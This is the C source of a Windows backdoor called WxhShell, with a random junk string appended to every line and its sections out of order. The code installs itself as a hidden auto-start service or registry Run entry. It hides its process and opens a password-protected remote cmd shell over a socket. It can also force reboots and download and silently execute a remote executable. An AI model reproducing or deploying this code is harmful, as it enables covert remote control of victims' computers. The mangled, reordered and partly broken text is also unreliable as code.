    if(Boot(SHUTDOWN)) "yJFb=Xdq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L1ro\H  
    else { \f\ CK@  
    closesocket(wsh); o-a\T  
    ExitThread(0); d0``:  
    } a> qB k})  
    break; [U'I3x,  
    } c|m*< i  
  // 获取shell NXo$rf:  
  case 's': { 4zKmoYt  
    CmdShell(wsh); K~Nx;{{d  
    closesocket(wsh); )-VpDW!%_  
    ExitThread(0); kn<IWW_t  
    break; o5LyBUJ  
  } *lyy|3z  
  // 退出 (SGX|,5X7  
  case 'x': { 7IkNS  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !xcLJ5^W  
    CloseIt(wsh); Oxsx\f_  
    break; _}+Aw{7!r  
    } 0"}qND  
  // 离开 dyWj+N5(  
  case 'q': { q>|&u  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); NH9"89]E  
    closesocket(wsh); 3MX&%_wUhB  
    WSACleanup(); n x4:n@J  
    exit(1); {6Y|Z>  
    break; V3D`pt\[x  
        } u+EZ"p;o  
  } xnP@ h  
  } 3D 4-Wo4  
(%~^Kmfb0  
  // 提示信息 $ /`X7a{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3fGL(5|_  
} !aQb Kp  
  } v}\4/u  
+2xgMN6B@  
  return; 9Xl[AVs:M  
} O]_a$U*6  
#1fL2nlP*E  
// shell模块句柄 N_wj,yF*  
int CmdShell(SOCKET sock) 8=!uQQ  
{ x994B@\j+  
STARTUPINFO si; .>#X*u  
ZeroMemory(&si,sizeof(si)); $Mg[e*ct  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E<RPMd @a  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; fofYe0z  
PROCESS_INFORMATION ProcessInfo; ,="hI:*<  
char cmdline[]="cmd"; U45kA\[bZ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :'`y}'  
  return 0; /_SQKpic  
} Ef @  
r)S:-wP  
// 自身启动模式 0:I[;Q t  
int StartFromService(void) sGFvSW  
{ %>'Zy6C<j  
typedef struct ?7=c `  
{ 4SVIdSA  
  DWORD ExitStatus; j%+>y;).  
  DWORD PebBaseAddress; \)$:  
  DWORD AffinityMask; =j~BAS*"  
  DWORD BasePriority; 5(5:5q.A/D  
  ULONG UniqueProcessId; 2nf<RE>  
  ULONG InheritedFromUniqueProcessId; m^%@bu,  
}   PROCESS_BASIC_INFORMATION; bog3=Ig-  
3_bqDhVI5  
PROCNTQSIP NtQueryInformationProcess; hsB3zqotF  
`%A vn<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]A%]W^G  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; fn#qcZv?  
mUj_V#v  
  HANDLE             hProcess;  LXoZ.3S  
  PROCESS_BASIC_INFORMATION pbi; mq}V @H5  
%@9c'6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); UpaF>,kM  
  if(NULL == hInst ) return 0; QUeuN?3X\  
.af+h<RG4$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ZyM7)!+kPa  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %rlMjF'tG  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (/7b8)g  
hCBre5  
  if (!NtQueryInformationProcess) return 0; &%]v0QK  
v-Tkp Yn  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); NX4G;+6  
  if(!hProcess) return 0; c=,HLHpFO(  
Al1_\vx7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; n:|a;/{I]9  
{p.^E5&  
  CloseHandle(hProcess); % n RgHN>  
9>ajhFyOhX  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ayI<-s-  
if(hProcess==NULL) return 0; %oB0@&!mS  
ZIN1y;dJ  
HMODULE hMod; ,eGguNA9  
char procName[255]; h0R.c|g[  
unsigned long cbNeeded; <?nz>vz  
kXV;J$1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $Qz<:?D  
|LW5dtQ  
  CloseHandle(hProcess); H#i,Ve '  
C7O8B;  
if(strstr(procName,"services")) return 1; // 以服务启动 S B~opN  
zLgc j(;  
  return 0; // 注册表启动 ku4Gc6f#gG  
} +e^ CL#Gs  
E{0e5.{  
// 主模块 in K]+H]{  
int StartWxhshell(LPSTR lpCmdLine) + -uQ] ^n  
{ <6Y|vEo!N  
  SOCKET wsl; &gJ1*"$9  
BOOL val=TRUE; B(WmJ6e  
  int port=0; ;>uB$8<_7  
  struct sockaddr_in door; B}S+/V` Y5  
3[j,d]\|  
  if(wscfg.ws_autoins) Install(); o}DR p4;Ka  
_dELVs7OL  
port=atoi(lpCmdLine); xax[# Vl4  
T+^Sa J  
if(port<=0) port=wscfg.ws_port; ic5af"/(\  
uh2 F r  
  WSADATA data; L3w.<h  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; JH| D  
tnAj3wc  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   i=L 86Ks  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); x <a}*8"  
  door.sin_family = AF_INET; I{ Ip  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); : tBe/(e4#  
  door.sin_port = htons(port); )RN3Oz@H  
=;+gge!?bB  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { O|S,="h"}  
closesocket(wsl); L(bDk'zi  
return 1; v4Wq0>o  
} ] )iP?2{  
>fMzUTJ4  
  if(listen(wsl,2) == INVALID_SOCKET) { d5NE:%K  
closesocket(wsl); sj4\lpZ3h  
return 1; tA^+RO4  
} X{Fr  
  Wxhshell(wsl); o{>4PZ}=g  
  WSACleanup(); X1d{7H8A2  
5kGQf  
return 0; je@&|9h  
(a0(ZOKH  
} Mk~U/oq  
e]nP7TIU  
// 以NT服务方式启动 T ay226  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Auc&dpW  
{ 'Kk/ J+6U  
DWORD   status = 0; De>e`./56  
  DWORD   specificError = 0xfffffff; r!1f>F*dt  
"f8,9@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &',#j]I  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^, YTQ.O  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >-\^)z  
  serviceStatus.dwWin32ExitCode     = 0; sBYDo{0 1  
  serviceStatus.dwServiceSpecificExitCode = 0; JN:L%If  
  serviceStatus.dwCheckPoint       = 0; ^\g.iuE  
  serviceStatus.dwWaitHint       = 0; yH=<KYk  
 6/#+#T  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5Q <vS"g  
  if (hServiceStatusHandle==0) return; *= O]^|]2  
L){V(*K '  
status = GetLastError(); KB^8Z@(+  
  if (status!=NO_ERROR) |{(JUXo6K  
{ GZWqP M4S\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^SsdM#E  
    serviceStatus.dwCheckPoint       = 0; U# [T!E  
    serviceStatus.dwWaitHint       = 0; +pq) 7  
    serviceStatus.dwWin32ExitCode     = status; z6}p4  
    serviceStatus.dwServiceSpecificExitCode = specificError; CVvl &on  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); W4$aX5ow$  
    return;  S!#5  
  } 4i.&geX A.  
@54$IhhT~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; x&^Xgi?  
  serviceStatus.dwCheckPoint       = 0; 0<:rp]<,  
  serviceStatus.dwWaitHint       = 0; P5h*RV>oS  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?mM:oQH+>  
} X31%T"  
R<gAxO%8  
// 处理NT服务事件,比如:启动、停止 y9?*H?f,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) RhKDQGdd  
{ ;zze.kb&F  
switch(fdwControl) 2q]ZI  
{ %TRJ  
case SERVICE_CONTROL_STOP: C$ K?4$  
  serviceStatus.dwWin32ExitCode = 0; J~xm[^0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; `q\F C[W  
  serviceStatus.dwCheckPoint   = 0; mi$C%~]5m  
  serviceStatus.dwWaitHint     = 0; A4|7^Ay  
  { kP}l"CN4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VRgckh m  
  } 0 LXu!iix  
  return; (SQGl!Lai0  
case SERVICE_CONTROL_PAUSE: *Gv:N6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |EdEV*.ej  
  break; n:B){'S  
case SERVICE_CONTROL_CONTINUE: jbq x7x  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <mki@{;|  
  break; *1!'ZfT;  
case SERVICE_CONTROL_INTERROGATE: w)* H&8h@  
  break; =BN<)f^*s  
}; +|b#|>6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }5n\us  
} ^V1\boo=  
g]JRAM  
// 标准应用程序主函数 GFE3p  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) AcEz$wy  
{ Tc!n@!RA|  
*~4<CP+"0  
// 获取操作系统版本 ~8 UMwpl-  
OsIsNt=GetOsVer();  AV|:v3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {X2uFw Gi  
{>vgtkJ  
  // 从命令行安装 @aN~97 H\  
  if(strpbrk(lpCmdLine,"iI")) Install(); ZvQZD=,F  
7Y-Q, ?1  
  // 下载执行文件 w0@XJH:P  
if(wscfg.ws_downexe) { #g@4c3um|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~3Pp}eO~V  
  WinExec(wscfg.ws_filenam,SW_HIDE); <,it<$f#  
} >Ik%_:CC`  
cUP1Uolvn  
if(!OsIsNt) { o\ce|Dzt  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?Fl O,|   
HideProc(); 9{ge U9&Z  
StartWxhshell(lpCmdLine); U[Sh){4j  
} <+r~?X_  
else p5OoDo  
  if(StartFromService()) qc.TYp  
  // 以服务方式启动 !5h-$;  
  StartServiceCtrlDispatcher(DispatchTable); 'AWWdz  
else zt9A-% \R  
  // 普通方式启动 9=6BQ`u  
  StartWxhshell(lpCmdLine); UroC8Tm  
2"|7 YI  
return 0; t'J 4zV  
} 82+2 PE{  
|:4W5>sfg  
}+MA*v[06  
%-$ :/ N  
=========================================== _g9j_ x:=  
ZU0*iA  
4`9ROC  
As5l36  
OAFxf,b  
6< -Cpc  
" u\iKdL  
6C"zBJcGc  
#include <stdio.h> y xT}hMa  
#include <string.h> RrH{Y0  
#include <windows.h> rx;;|eb,  
#include <winsock2.h> ^V9|uHOJoq  
#include <winsvc.h> \(=xc2  
#include <urlmon.h> :6%ivS  
IO7gq+  
#pragma comment (lib, "Ws2_32.lib") A /c  
#pragma comment (lib, "urlmon.lib") /E{tNd^S  
LkK&<z  
#define MAX_USER   100 // 最大客户端连接数 -Vb5d!(  
#define BUF_SOCK   200 // sock buffer pZ[|Q2(  
#define KEY_BUFF   255 // 输入 buffer 8 l= EL7  
yn@wce  
#define REBOOT     0   // 重启 @`nG &U  
#define SHUTDOWN   1   // 关机 ^x/D8 M  
})kx#_o]'d  
#define DEF_PORT   5000 // 监听端口 1ljcbD)T;  
C8qSoO4Z  
#define REG_LEN     16   // 注册表键长度 MQcIH2  
#define SVC_LEN     80   // NT服务名长度 ek/zQM@%  
lb*;Z7fx<'  
// 从dll定义API ">h$(WCK  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0*kS\R=P  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `'P&={p8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -$#2?/uqC  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4bdCbI  
D%?9[Qb  
// wxhshell配置信息 z[Qe86L  
struct WSCFG { 65U\;Ew  
  int ws_port;         // 监听端口 khT[  
  char ws_passstr[REG_LEN]; // 口令 m~W[,7NE0&  
  int ws_autoins;       // 安装标记, 1=yes 0=no #u+qV!4  
  char ws_regname[REG_LEN]; // 注册表键名 Y=_*Ai  
  char ws_svcname[REG_LEN]; // 服务名 pmurG  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 xQzW6H|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 lgK5E *^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %|:j=/_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,CPAS}kS  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {[/A?AV;F  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?dv-`)S&  
@x A^F%(  
}; :yi} CM4  
Q3$DX, 8?  
// default Wxhshell configuration Hd7Vp:KM  
struct WSCFG wscfg={DEF_PORT, _akjgwu  
    "xuhuanlingzhe", sKs`gi2  
    1, SS8$.ot  
    "Wxhshell", jLO$[c`;  
    "Wxhshell", P|lDW|}D@  
            "WxhShell Service", O8v9tGZoh  
    "Wrsky Windows CmdShell Service", R47y/HG,  
    "Please Input Your Password: ", S9nn^vsK  
  1, UA]T7r@  
  "http://www.wrsky.com/wxhshell.exe", 1=9GV+`n  
  "Wxhshell.exe" )a'`  
    }; 0 "TPY(n  
'Ox "YE  
// 消息定义模块 ZFH-srs{  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]mNsG0r6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Oi$1maxT  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; m!^$_d\%~  
char *msg_ws_ext="\n\rExit."; =(P$P  
char *msg_ws_end="\n\rQuit."; v_v>gPl,  
char *msg_ws_boot="\n\rReboot..."; & @_PY  
char *msg_ws_poff="\n\rShutdown..."; nUX3a'R  
char *msg_ws_down="\n\rSave to "; |yp^T  
)Spa F)N8  
char *msg_ws_err="\n\rErr!"; D^p)`*  
char *msg_ws_ok="\n\rOK!"; *> Be w  
PQYJn x}  
char ExeFile[MAX_PATH]; WD[jEWMV7D  
int nUser = 0; luac  
HANDLE handles[MAX_USER]; |f1^&97=+  
int OsIsNt; 2>9..c  
FjiIB1 T  
SERVICE_STATUS       serviceStatus; s`[V{1m,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; dWi.V?K4z  
L*4= b (3  
// 函数声明 X_bB6A6  
int Install(void); {x..> 4  
int Uninstall(void); OUO'w6m!  
int DownloadFile(char *sURL, SOCKET wsh); H, GnF  
int Boot(int flag); >dw 0@T&p  
void HideProc(void); Vj8-[ww!  
int GetOsVer(void); (G$Q\>  
int Wxhshell(SOCKET wsl); =,qY\@fq  
void TalkWithClient(void *cs); <pKOFN%m  
int CmdShell(SOCKET sock); -'WR9M?fq  
int StartFromService(void); [TqX"@4NS  
int StartWxhshell(LPSTR lpCmdLine); OR' e!{  
Nr)DU.f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -?{g{6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); pX!T; Re;  
Ad3TD L?  
// 数据结构和表定义 $3ZQ|X[|+  
SERVICE_TABLE_ENTRY DispatchTable[] = ]]}iSw'  
{ Iue=\qUK^  
{wscfg.ws_svcname, NTServiceMain}, 2,Z@<  
{NULL, NULL} K$:btWSm  
}; >){}nlQf  
v6! `H  
// 自我安装 -!M>;M@  
int Install(void) Q.V@Sawe5  
{ nG?Z* n  
  char svExeFile[MAX_PATH]; ? IlT[yMw  
  HKEY key; O ]-8 %  
  strcpy(svExeFile,ExeFile); K*1]P ar;  
0HbCT3g.  
// 如果是win9x系统,修改注册表设为自启动 --c)!Vxzx  
if(!OsIsNt) { LL+_zBP.   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J_|%8N{[x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); };Df ><  
  RegCloseKey(key); 7`)RB hGB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3|)cT1ej  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A5 4u}  
  RegCloseKey(key); R{aqn0M  
  return 0; 0A8G8^T  
    } $DnJ/hg;qD  
  } pj3H4yCM:  
}  _PwPLSg  
else { @ IDY7x27  
<1x u&Z7  
// 如果是NT以上系统,安装为系统服务 :8N by$#V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); w6lx&K-  
if (schSCManager!=0) V;)+v#4{  
{ L7xiq{t`Y  
  SC_HANDLE schService = CreateService 9j-;-`$S  
  ( h:FN&E c}  
  schSCManager, R]>0A3P  
  wscfg.ws_svcname, d:cOdm>,  
  wscfg.ws_svcdisp, GlJOb|WOX  
  SERVICE_ALL_ACCESS, ~rXLb:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0Am\02R.C,  
  SERVICE_AUTO_START, B_8JwMJu3  
  SERVICE_ERROR_NORMAL, y0) mBCX  
  svExeFile, P~x4h{~Gd  
  NULL, Zk|PQfi+  
  NULL, eE\T,u5:  
  NULL, KMl3`+i  
  NULL, }#=t%uZ/  
  NULL 'b>3:&  
  ); 3{ea~G)[9  
  if (schService!=0) I-kK^_0mV<  
  { fti0Tz'  
  CloseServiceHandle(schService); _ KyhX|  
  CloseServiceHandle(schSCManager); Ar_Yl|a  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); p-!/p#  
  strcat(svExeFile,wscfg.ws_svcname); )lUocm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { q8R,#\T*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 'fzJw  
  RegCloseKey(key); q 4Ok$~"I  
  return 0; }h3[QUVf%  
    } jsKKg^ g  
  } I.SMn,N  
  CloseServiceHandle(schSCManager); $0~1;@`rQ6  
} LJ z6)kz  
} 1NrNTBI@  
rV-Xsf7Z  
return 1; *rV{(%\m  
} v!n|X7  
6aWnj*dF  
// 自我卸载 p"*xye x  
int Uninstall(void) cb. -AlqQ  
{ 1n.F`%YG  
  HKEY key; lm+s5}*%o  
)! k l:  
if(!OsIsNt) { Qdc)S>gp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6]HMhv  
  RegDeleteValue(key,wscfg.ws_regname); VPVg \K{  
  RegCloseKey(key); 7kMO);pO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NKVLd_f k  
  RegDeleteValue(key,wscfg.ws_regname); X@A8~ kj1  
  RegCloseKey(key); 0juP"v$C>  
  return 0; V9>$M=  
  } VjeF3pmBa  
} ~eiD(04^r*  
} T/hz23nH  
else { #.,LWL]  
3_{rXtT)'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); usi3z9P>n  
if (schSCManager!=0) :C&6M79k  
{ yhnPS4DC  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); x69RQ+Vw  
  if (schService!=0) l @E {K|  
  { fP\*5|7%R  
  if(DeleteService(schService)!=0) { S]&aDg1y}  
  CloseServiceHandle(schService); UMPW<> z  
  CloseServiceHandle(schSCManager); x4?g>v*J  
  return 0; .`&k`  
  } 7WNUHLEt  
  CloseServiceHandle(schService); Jr(Z Ym'  
  } @v\8+0  
  CloseServiceHandle(schSCManager); _ZK*p+u%  
} I%z,s{9p  
} $B]_^  
D|vck1C5,  
return 1; .[?2_e#9%  
} gmiLjI  
G//hZwf0  
// 从指定url下载文件 lxR]Bh+  
int DownloadFile(char *sURL, SOCKET wsh) b<E78B+Aax  
{ hw B9N  
  HRESULT hr; pqohLA  
char seps[]= "/"; !bn=b>+  
char *token; &}#zG5eu  
char *file; ]KUeSg|  
char myURL[MAX_PATH]; hij 9r z  
char myFILE[MAX_PATH]; >``  
[[ll4|  
strcpy(myURL,sURL); TFXKCl  
  token=strtok(myURL,seps); $+U 6c~^^  
  while(token!=NULL) <Iil*\SC  
  { F84<='K  
    file=token; tU.~7f#+A  
  token=strtok(NULL,seps); {]4Zpev  
  } OgzKX>N`A  
gA]3h8%w  
GetCurrentDirectory(MAX_PATH,myFILE); Xhpcu1nA  
strcat(myFILE, "\\"); JI&.d:  
strcat(myFILE, file); $h  >rs  
  send(wsh,myFILE,strlen(myFILE),0); wOEc~WOd  
send(wsh,"...",3,0); i G%R'/*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :=:m4UJb  
  if(hr==S_OK) }:]CXrdg>  
return 0; EO/41O  
else T#&X7!4  
return 1; ]na$n[T/I  
NBw{  
} 4Q,|7@  
@J'tPW<$  
// 系统电源模块 j@/p: fk  
int Boot(int flag) @E"lN  
{ /1xBZf rN  
  HANDLE hToken; A(n3<(O/{Z  
  TOKEN_PRIVILEGES tkp; 59X XmVg  
Wo5%@C#M  
  if(OsIsNt) { H=mFc@fh  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); p?4,YV|#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); l,UOP[j  
    tkp.PrivilegeCount = 1; zNg[%{mz  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -'^:+FU  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); KppYe9?  
if(flag==REBOOT) { 2g5jGe*0  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) n.G.f bO  
  return 0; oE,TA2  
} 1So`]N4  
else { "z-tL  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) rrG}; A  
  return 0; RW<4",  
} :OA;vp~$x  
  } G(bl)p^  
  else { w,OPM}) il  
if(flag==REBOOT) { PlwM3lrj  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) R%`fd *g  
  return 0; #6C<P!]V  
} I [n|#N  
else { #w si><7   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) mA^3?y j  
  return 0; D/wJF[_  
} VKSn \HT~  
} E *782>  
G\~?.s|^  
return 1; zd{sw}  
} j rX`_Y  
1yFIIj:^|  
// win9x进程隐藏模块 XQ8q)B=  
void HideProc(void) *aGJ$ P0  
{ C(M?$s`  
1E0!?kRK  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3jHE,5m  
  if ( hKernel != NULL ) Qm_;o(  
  {  } #&L  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); j' b0sve|?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {e0(M*u  
    FreeLibrary(hKernel); z|zEsDh;  
  } Q(4~r+  
HmHM#~5(`  
return; F6"s&3D{  
} _v++NyZXx  
tqjjn5!  
// 获取操作系统版本 $lA dh  
int GetOsVer(void) e{^^u$C1.e  
{ &}\{qFD;  
  OSVERSIONINFO winfo; Tt,T6zs- <  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); N:%Nq8I}:  
  GetVersionEx(&winfo); **.23<n^W  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) s|X_:3\x  
  return 1; ant2];0p  
  else t$?#@8Yk  
  return 0; R 83PHM  
} ";DozPU  
p$` ^A  
// 客户端句柄模块 &kT!GU^n  
int Wxhshell(SOCKET wsl) $9u:Ox 2  
{ }ktK*4<k  
  SOCKET wsh; lwIxn1n  
  struct sockaddr_in client; b*4aUpW  
  DWORD myID; 3_]QtP3  
q_[`PYT  
  while(nUser<MAX_USER) s +E4AG1r  
{ ubc k{\.  
  int nSize=sizeof(client); 4M+f#b1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); WC b 5  
  if(wsh==INVALID_SOCKET) return 1; ?yu@eo  
<&bBE"U4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Bj\Us$cZ  
if(handles[nUser]==0) b`f6(6  
  closesocket(wsh); $x#qv1  
else uO1^nK  
  nUser++; 7p>T6jK)  
  } r> .l^U9hJ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); x'SIHV4M@Q  
GB,ub*|  
  return 0; ID,os_ T=  
} 5JhpBx/>o=  
'2rSX[$ tf  
// 关闭 socket uA cvUN-@  
void CloseIt(SOCKET wsh) 9E|QPT  
{ :^FH.6}x  
closesocket(wsh); 5r d t  
nUser--; I*/:rb  
ExitThread(0); !)05,6WQ  
} C:f^&4 3  
_,I~1"  
// 客户端请求句柄 LvU/,.$  
void TalkWithClient(void *cs) 3Q2NiYg3  
{ @moaa}1  
Ak$9\Sl  
  SOCKET wsh=(SOCKET)cs; GoPMWbI7  
  char pwd[SVC_LEN]; @gQ?cU7  
  char cmd[KEY_BUFF]; \gv-2.,  
char chr[1]; )Lk2tvr  
int i,j; k?/!`   
dKL9}:oUa  
  while (nUser < MAX_USER) { z80*Ylx  
/q/^B> ]  
if(wscfg.ws_passstr) { Kek %io  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tCGA3t  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JV+Uy$P!  
  //ZeroMemory(pwd,KEY_BUFF); JIc9csr:b  
      i=0; @ ]42.oP  
  while(i<SVC_LEN) { 8: uh0  
)QmmI[,tq  
  // 设置超时 gV*4{ d`  
  fd_set FdRead; -w'g0/fD  
  struct timeval TimeOut; ::3[H$  
  FD_ZERO(&FdRead); 4`7~~:W!M5  
  FD_SET(wsh,&FdRead); c;=St1eoz  
  TimeOut.tv_sec=8; 0 t/mLw&  
  TimeOut.tv_usec=0; !"aGo1 $$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); T8x/&g''  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0rif,{"  
9<"F3F0|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Urksj:N  
  pwd=chr[0]; nFro#qx  
  if(chr[0]==0xd || chr[0]==0xa) { ucbtPTFYvr  
  pwd=0; 8 -w|~y';  
  break; *Tmqs@L  
  } gLx?0eBBA  
  i++; T>&dPVmG,  
    } u!fZ>kS  
6.a>7-K}%  
  // 如果是非法用户,关闭 socket ^{NN-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0XE(vc!  
} /Wdrpv-%,1  
,eL&Ner  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); J|cw9u  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Cn.dv-  
Upm#:i|"  
while(1) { "g(q)u >  
PI8ag  
  ZeroMemory(cmd,KEY_BUFF); h-o;vC9fC  
e"Z,!Q^-L  
      // 自动支持客户端 telnet标准   b'xBPTN  
  j=0; ur]WNk8bN  
  while(j<KEY_BUFF) { UY:Be8C A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WJ 'lYl0+7  
  cmd[j]=chr[0]; ]]5(:>l  
  if(chr[0]==0xa || chr[0]==0xd) { F'_z$,X6  
  cmd[j]=0; .li)k[] ts  
  break; #X6=`Xe#  
  } m5hu;>gt  
  j++; EAF\ 7J*  
    } z,VXH ?.Zo  
77 ?TRC  
  // 下载文件 sr~VvciIy  
  if(strstr(cmd,"http://")) { `2xt%kC  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); z3w;W{2Q;V  
  if(DownloadFile(cmd,wsh)) ;]rj Kc=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !=+;9Ry$z  
  else Q0xQx z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (8em5  
  } A~L Ti  
  else { h@s i)5"  
UG6\OgkL+  
    switch(cmd[0]) { 9s*UJIL  
  I."s&]FZ  
  // 帮助 y cWY.HD  
  case '?': { u#->?  
